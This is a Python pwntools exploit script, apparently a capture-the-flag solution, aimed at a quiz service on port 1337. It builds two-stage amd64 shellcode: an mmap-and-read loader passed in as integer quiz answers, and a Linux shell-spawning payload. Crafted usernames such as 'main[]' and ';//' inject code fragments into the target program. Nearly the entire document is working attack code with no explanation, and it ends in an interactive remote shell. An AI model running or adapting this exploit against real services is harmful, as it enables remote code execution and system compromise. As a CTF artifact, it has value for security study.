from pwn import *
context.arch = 'amd64'

import struct

stage1 = """
    mov     eax, 9
    xor     edi, edi
    mov     esi, 4096
    or      r8, -1
    mov     edx, 7
    mov     r10d, 33
    xor     r9d, r9d
    syscall
    mov     edx, 4096
    mov     rsi, rax
    push rax
    xor     eax, eax
    syscall
    ret
"""
stage1_bin = asm(stage1)
assert len(stage1_bin) == 46
stage1_bin = stage1_bin + b"\x00\x00"
stage1_payload = list(struct.unpack("<iiiiiiiiiiii", stage1_bin))

stage2 = shellcraft.linux.sh()
stage2_bin = asm(stage2).ljust(4096, b"\x00")

games = [
    {"quiz": "miscgod", "username": "const//", "answers": [0]*12},
    {"quiz": "miscgod", "username": "int//", "answers": [0]*12},
    {"quiz": "miscgod", "username": "main[]", "answers": stage1_payload},
    {"quiz": "miscgod", "username": ";//", "answers": [0]*12},
    {"quiz": "pts.txt", "username": "hacked", "rawinput": stage2_bin},
]

def play_game(r, game):
    r.sendlineafter(b"> ", b"1")
    r.sendlineafter(b"> ", game["username"].encode())
    r.sendlineafter(b"> ", game["quiz"].encode())
    if "answers" in game:
        for answer in game["answers"]:
            r.sendlineafter(b"answer: ", str(answer).encode())
    else:
        r.send(game["rawinput"])

def run(host="localhost"):
    r = remote(host, 1337)
    for game in games:
        play_game(r, game)
    r.interactive()
